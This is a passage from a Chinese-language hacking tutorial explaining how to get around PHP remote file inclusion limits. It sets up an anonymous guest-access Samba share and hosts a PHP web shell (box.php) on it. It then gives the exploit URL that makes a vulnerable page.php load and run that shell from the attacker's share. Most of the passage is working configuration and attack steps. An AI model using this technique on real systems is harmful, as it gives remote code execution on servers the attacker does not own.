[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555
force user = nobody现在，重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。
service smbd restart成功重启SAMBA服务器后，尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。
在本例中，SAMBA服务器IP为192.168.0.3，我需要访问Windows文件浏览器中的SMB共享，如下：
\\192.168.0.3\
在 SMB 共享中托管 PHP Web shell
太棒了！可以访问smb共享，并显示目录“ica”存在。
现在，将PHP shell托管在目录“/var/www/html/pub”中，该目录为smb共享目录“ica”。
成功托管PHP shell后，我们使用Windows文件浏览器访问SMB共享目录“ica”。
\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中，在本例中为box.php文件。
利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接，以及易受攻击的php代码浏览它。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻击的代码从SMB共享中获取了web shell，并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制，并包含了托管在远程主机上的Web shell。
总结
以上所述是小编给大家介绍的使用SMB共享来绕过php远程文件包含的限制执行RFI的利用，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对黑区网络网站的支持！